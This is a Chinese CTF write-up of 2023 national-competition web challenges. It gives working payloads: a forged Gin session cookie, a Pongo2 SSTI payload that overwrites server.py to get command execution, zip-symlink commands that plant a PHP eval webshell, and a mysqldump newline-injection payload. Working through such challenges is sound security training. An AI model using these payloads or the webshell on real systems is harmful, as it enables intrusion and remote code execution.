2023国赛web记录,学到很多,感觉原题也挺多,但是改的挺好
gosession
题目内容:
ctfer按照官方文档的模板编写了代码,但是好像哪里出了问题。
附件两个文件,一个route.go,一个main.go
main.go
1 | package main |
这里看到三个路由
1 | func main() { |
/
/admin
/flask
route.go
1 | package route |
先看看route.php中对每个路由代码,分析写在注释
Index
1 | //定义了一个store的全局变量,用于存储session,session生成用到环境变量SESSION_KEY |
Admin
1 | func Admin(c *gin.Context) { |
Flask
1 | func Flask(c *gin.Context) { |
看到ssti,这里想到利用的就是admin和flask路由
SSTI
flask
flask中,没有模板注入处,只有一个获取本地响应包数据的代码
1 | resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest")) |
看到是发起本地请求,获取响应
想到的就是能不能读取到本地一些文件的数据
它会读取http请求中name参数,并加到http://127.0.0.1:5000/后面
所以构造类似
url/flask?name=xx
但是开始没啥思路,但是看到启动main.go时发现是启动默认打开debug模式,debug模式就会将一些代码内容也显示出来,而不是简单的400
所以猜想能不能利用flask下发送错误请求,导致代码报错
于是构造
url/flask?name=/
这里得到/app/server.py
1 | app = Flask(__name__) |
可以看到确实是打开debug
在底下还可以看到
但是并不知道PIN码是多少,所以也不能利用这个地方实现交互式shell,本来想看看PIN码能不能利用SSTI读取成功,但是SSTI也不轻松,解决了SSTI题目应该也就已经解出了
admin
但是admin中,需要session中name参数为admin
1 | if session.Values["name"] != "admin" { |
而session生成需要环境变量SESSION_KEY,而这个根本不知道
session的生成在index中,尝试修改本地index中的代码
1 | if session.Values["name"] == nil { |
这样就会将session中的name设为admin
但是本地这里SESSION_KEY为空,本地运行代码后获得的session-name
我试了一下,发现把其代入题目中也可以,所以题目环境中SESSION_KEY也是空
MTY4NjgxODM4NHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzwtTk7ay4mTCPFS8SyBfs6-bFy8R09M_ne8m4QhPXjxQ==
再根据代码中模板注入点
1 | name := c.DefaultQuery("name", "ssti") |
会将name参数进行符合转义后,传入pongo2模板引擎中进行渲染,可以简单构造一下
发现确实是可以的,但是html.EscapeString(name)把大部分字符都转义了,所以进行ssti也不容易
去了解一下Pongo2,发现Pongo2 库是一个受 Django 模板引擎启发的 Go 模板引擎。
所以能在Django进行的注入,在Pongo2上有极大可能执行成功
Pongo2
在pongo2 package - github.com/flosch/pongo2 - Go Packages这里查看,发现有其和Django 1.7相似的地方
就先看看Django 1.7的标签
Built-in template tags and filters — Django 1.7.11 documentation
主要看三个,也就是ssti常见的rce,uploadfile,includefile
include
Built-in template tags and filters — Django 1.7.11 documentation
发现可以进行
{%include "foo/bar.html" %}来包含某个文件,但是因为代码中对单双引号进行转义,所以只能包含变量,所以要构造一个可控变量而代码中发现,在各个函数中只有一个变量可以控制,就是
c,而c的定义是c *gin.Contex
所以查看gin文档中,c应该如何控制,实现传参
gin-gonic/gin#Context
gin package - github.com/gin-gonic/gin - Go Packages
发现Context是一个结构体
有一个http请求包数据的指针,可以获得其内容
查看这个request中内容,
1 | type Request struct { |
找寻其中可控参数
发现有
URL Header Host
SaveUploadedFile
需要传两个参数,文件(form表单中name的参数)和文件具体位置(path/文件名)
读文件x
开始看马✌发的可以进行读取文件这个
1 | GET /admin?A&name={%25include%20c.Request.Header[c.Request.URL.RawQuery|truncatechars:1]|join%25} HTTP/1.1 |
{%include c.Request.Header[c.Request.URL.RawQuery|truncatechars:1]|join%}
%需要进行url编码发包才能被解析,不然读不到name参数
{%include %}进行包含文件
c在附件go代码中可以看到
c *gin.Context表示一个 Gin 框架处理 HTTP 请求的上下文对象,它包含了 HTTP 请求和响应的所有信息,所以c就是一个HTTP请求和响应集合对象
c.Request.Header是只读取请求头内容,也就是xx: xxx [如,
Accept-Encoding: gzip, deflate]
c.Request.URL.RawQuery读取URL头中的参数值
truncatechars:1
truncatechars是 Flask 模板引擎中的过滤器,它的作用是截断字符串并返回指定长度的子字符串。在这个过滤器中,:1表示要截断的长度为 1。[如上文中请求行所示,url中第一个就是A参数]
join将获取到的值拼接成一个字符串并返回。
我就一直在读文件,想去读取machine_id和mac地址然后得到PIN码,利用debug进行交互shell执行命令
但是后面看到浪✌和几位✌说的,似乎并不可行
因为pin rce是需要设置cookie头的,而且pin rce也没法crlf,所以靠ssti读文件也没法继续进行
写文件√
所以就想办法尝试写文件,但是不清楚网站目录以及运行文件
可是根据之前debug得到的server.py文件,这是网站运行的py文件,在/app/server.py中
尝试上传覆盖,但是由于是GET读取参数,所以在GET提交中,添加上传文件表单,将server.py中修改,增加解析name参数,实现命令执行并显示执行内容
GET请求也可以提交表单上传文件
根据debug代码修改得到
1 | app = Flask(__name__) |
于是构造GET请求行,进行文件上传覆盖
1 | /admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py |
解析一下payload,首先先要去官方文档查看c *Context的方法发现有个上传文件的方法SaveUploadedFile
{%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py
{% set %}进行设置参数值
c.Query()是获取url中参数
(c.HandlerName|first)
c.HandlerName是获取当前的url
first是指定获取url中的第一个参数,即m参数值file
last是获取url中最后一个参数,即n参数值/app/server.py
formpath就是读取
url参数,进行赋值于是
form=file
path=/app/server.py
{{c.SaveUploadedFile(file,path)}}将上传的文件保存到指定的路径中。其中
file参数表示要保存的文件,path参数表示要保存到的路径。
改包发送
1 | GET /admin?name=%7B%25set%20form%3Dc.Query(c.HandlerName%7Cfirst)%25%7D%7B%25set%20path%3Dc.Query(c.HandlerName%7Clast)%25%7D%7B%25set%20file%3Dc.FormFile(form)%25%7D%7B%7Bc.SaveUploadedFile(file%2Cpath)%7D%7D&m=file&n=/app/server.py |
*注意:需要添加
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryqwT9VdDXSgZPm0yn
添加表单文件类型,以及分界符号,这就是GET提交上传文件表单和POST请求提交不同之处
写入文件
/flask?name=?name=ls${IFS}/
*同上面对flask代码的分析
它会将name后的参数直接加到http://127.0.0.1:5000/后面,也就是`server.py`运行的端口
所以这里直接将
?name=ls${IFS}/作为flask的name参数的值如修改后的代码知道,
server.py会执行name参数中的命令,从而实现
1 | /flask?name=?name=cat${IFS}/th1s_1s_f13g |
得得flag(nnd,flag名字就不能正常一点吗,不然读文件就解决了
结束
reading
题目内容:
读点什么呢?
与蓝帽杯这道file_session题目很像奇安信攻防社区-2022蓝帽杯初赛WriteUp (butian.net)
unzip
题目内容:
unzip很简单,但是同样也很危险
几乎原题[原创]2021深育杯线上初赛官方WriteUp-CTF对抗-看雪-安全社区|安全招聘|kanxue.com
开始上传
页面跳转到upload.php代码分析
代码分析以及流程
1 |
|
首先对上传文件的类型进行了判断
1 | if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip') |
需要上传的文件类型为application/zip,然后执行
1 | exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); |
软链接
发现上传的压缩包中文件都被解压在了tmp目录下,如果想要访问,就需要利用软链接,从/tmp链接到/var/www/html
1 | ln -s /var/www/html test |
但是想要把软链接打包在压缩包中,需要加上参数--symlinks,如果不加上,压缩软链接会把它们指向的实际文件或文件夹压缩进去,而不是保留软链接本身。
1 | zip --symlinks test ./* |
这样test就指向了/var/www/html
构造木马压缩包
然后建一个相同名字的文件夹test,向其中放入一句话🐎
1 | echo '<?php @eval($_POST["cmd"]);?>' > shell.php |
然后将这个新建的且包含一句话🐎test文件夹打包成压缩包test1.zip
1 | zip -r test1.zip test |
p.s.为什么呢?
这里的test1.zip中包含的文件夹名和软链接的名字是一样的,当压缩包在和软链接相同的路径下解压时,因为相同名字的文件不能出现在同意路径下,所以当一个相同名字的文件夹想要解压到有个相同名字的软链接时,
解压命令会把
软链接的指向路径当作文件夹名字,从而实现将我们这里的一句话🐎移到/var/www/html下面
1 unzip -o test1.zip-o起到的是强制覆盖文件的作用,但是只覆盖普通文件,像文件夹和软链接不会被覆盖,所以这里就不需要担心解压相同名字的文件夹在当前目录会把软链接覆盖,其实相反的,软链接指向的路径反而替代了文件夹的名字
如下所示,
可以看到我们的
shell.php被解压到了test软链接所指向的路径
解题
先将我们的包含软链接的压缩包test.zip上传上去,避免如果先上传包含木马的,会被test文件夹占用位置
进行上传,虽然上传后和之前一样会回到upload.php,但是进入docker中可以看到是压缩包确实上传解压成功了
然后我们再上传test1.zip,根据我们之前分析的,会将其中的test文件夹下的木马解压到/var/www/html下,也就是首页
操作同上,发现shell.php确实上传到网站首页
直接连接
得到flag
结束
DebugSer
题目内容:
远程环境
jdk1.8.0_20更新提示1:
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
考察cc链的改造
BackendService
题目内容:
小明拿到了内网一个老旧服务的应用包,虽然有漏洞但是怎么利用他呢?[注意:平台题目下发后请访问/nacos路由]
CVE-2022-22947改了一些代码
dumpit
题目内容:
flag in /flag
找不到环境了,就是好像直接可以执行命令,利用mysqldump
flag就在环境变量里,执行env即可,就是需要分隔符
payload为
/?db=&table_2_dump=%0a%20env
环境变量中即可看到flag














